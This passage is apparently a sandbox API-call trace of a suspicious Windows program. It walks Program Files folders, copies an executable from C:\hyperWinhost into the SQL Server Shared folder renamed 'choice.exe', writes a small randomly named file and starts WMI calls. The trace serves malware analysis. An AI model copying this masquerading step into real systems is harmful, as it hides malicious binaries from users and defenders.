cAlternateFileName="MICROS~2")) returned 1 [0062.445] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x358cf290, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xd9dc2260, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9dc2260, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~4")) returned 1 [0062.445] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bf03b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4399b030, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4399b030, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0062.446] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39960750, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xd9d29ce0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9d29ce0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0062.446] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd96ea320, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96ea320, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0062.446] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0062.446] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xd96c41c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96c41c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0062.446] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd9710480, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9710480, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0062.446] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9dc2260, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9dc2260, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0062.446] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0062.446] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda17a4c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda17a4c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0062.447] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0062.447] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd9de83c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9de83c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0062.447] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4a571440, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x4a571440, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0062.447] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0062.447] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0062.447] FindClose (in: hFindFile=0x11f5e90 | out: hFindFile=0x11f5e90) returned 1 [0062.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0062.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0062.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0062.448] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft SQL Server", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft SQL Server", lpFilePart=0x0) returned 0x2b [0062.448] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft SQL Server\\*" (normalized: "c:\\program files (x86)\\microsoft sql server\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x358cf290, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xd9dc2260, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9dc2260, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f5e90 [0062.448] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x358cf290, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xd9dc2260, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9dc2260, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.449] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x358cf290, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0x358cf290, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x358cf290, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 1 [0062.449] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0e83b0, ftCreationTime.dwHighDateTime=0x1d99adf, ftLastAccessTime.dwLowDateTime=0x49b975b0, ftLastAccessTime.dwHighDateTime=0x1d99b6a, ftLastWriteTime.dwLowDateTime=0x49b975b0, ftLastWriteTime.dwHighDateTime=0x1d99b6a, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="describeterm.exe", cAlternateFileName="DESCRI~1.EXE")) returned 1 [0062.449] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64b0d1b0, ftCreationTime.dwHighDateTime=0x1d952b8, ftLastAccessTime.dwLowDateTime=0x61372f50, ftLastAccessTime.dwHighDateTime=0x1d95f71, ftLastWriteTime.dwLowDateTime=0x61372f50, ftLastWriteTime.dwHighDateTime=0x1d95f71, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmailnotifierpro.exe", cAlternateFileName="GMAILN~1.EXE")) returned 1 [0062.449] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64b0d1b0, ftCreationTime.dwHighDateTime=0x1d952b8, ftLastAccessTime.dwLowDateTime=0x61372f50, ftLastAccessTime.dwHighDateTime=0x1d95f71, ftLastWriteTime.dwLowDateTime=0x61372f50, ftLastWriteTime.dwHighDateTime=0x1d95f71, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="gmailnotifierpro.exe", cAlternateFileName="GMAILN~1.EXE")) returned 0 [0062.449] FindClose (in: hFindFile=0x11f5e90 | out: hFindFile=0x11f5e90) returned 1 [0062.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0062.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0062.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0062.449] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft SQL Server\\110", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft SQL Server\\110", lpFilePart=0x0) returned 0x2f [0062.450] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft SQL Server\\110\\*" (normalized: "c:\\program files (x86)\\microsoft sql server\\110\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x358cf290, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0x358cf290, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x358cf290, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f5e90 [0062.451] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x358cf290, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0x358cf290, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x358cf290, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.451] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x358cf290, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0x358cf290, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x358cf290, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0062.451] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0062.451] FindClose (in: hFindFile=0x11f5e90 | out: hFindFile=0x11f5e90) returned 1 [0062.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0062.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0062.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0062.451] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared", lpFilePart=0x0) returned 0x36 [0062.452] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\*" (normalized: "c:\\program files (x86)\\microsoft sql server\\110\\shared\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x358cf290, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0x358cf290, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x358cf290, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f5e90 [0062.452] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x358cf290, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0x358cf290, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x358cf290, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.452] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aebed00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0x358cf290, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x9aebed00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x54c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 1 [0062.452] FindNextFileW (in: hFindFile=0x11f5e90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aebed00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0x358cf290, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x9aebed00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x54c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msasxpress.dll", cAlternateFileName="MSASXP~1.DLL")) returned 0 [0062.453] FindClose (in: hFindFile=0x11f5e90 | out: hFindFile=0x11f5e90) returned 1 [0062.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0062.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0062.506] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0062.507] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe", lpFilePart=0x0) returned 0x41 [0062.507] CopyFileW (lpExistingFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\choice.exe" (normalized: "c:\\program files (x86)\\microsoft sql server\\110\\shared\\choice.exe"), bFailIfExists=0) returned 1 [0062.619] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\5eac4b4eaa5fda", nBufferLength=0x105, lpBuffer=0x1b2fd760, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\5eac4b4eaa5fda", lpFilePart=0x0) returned 0x45 [0062.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc78) returned 1 [0062.619] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft SQL Server\\110\\Shared\\5eac4b4eaa5fda" (normalized: "c:\\program files (x86)\\microsoft sql server\\110\\shared\\5eac4b4eaa5fda"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x354 [0062.620] GetFileType (hFile=0x354) returned 0x1 [0062.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbe8) returned 1 [0062.620] GetFileType (hFile=0x354) returned 0x1 [0062.621] WriteFile (in: hFile=0x354, lpBuffer=0x2a814e8*, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0x1b2fdcb8, lpOverlapped=0x0 | out: lpBuffer=0x2a814e8*, lpNumberOfBytesWritten=0x1b2fdcb8*=0x75, lpOverlapped=0x0) returned 1 [0062.622] CloseHandle (hObject=0x354) returned 1 [0062.624] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0062.624] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0062.624] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0062.624] IUnknown:Release (This=0x111f638) returned 0x1 [0062.626] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf11100) returned 0x0 [0062.626] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11100, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0062.626] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11100, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119b720) returned 0x0 [0062.626] WbemDefPath:IUnknown:Release (This=0x1bf11100) returned 0x0 [0062.626] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119b720) returned 0x0 [0062.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0062.627] WbemDefPath:IUnknown:AddRef (This=0x119b720) returned 0x3 [0062.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0062.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0062.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf11140) returned 0x0 [0062.627] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf11140, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0062.627] WbemDefPath:IUnknown:Release (This=0x1bf11140) returned 0x3 [0062.627] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0062.627] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0062.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0062.627] WbemDefPath:IUnknown:Release (This=0x119b720) returned 0x2 [0062.627] WbemDefPath:IUnknown:Release (This=0x119b720) returned 0x1 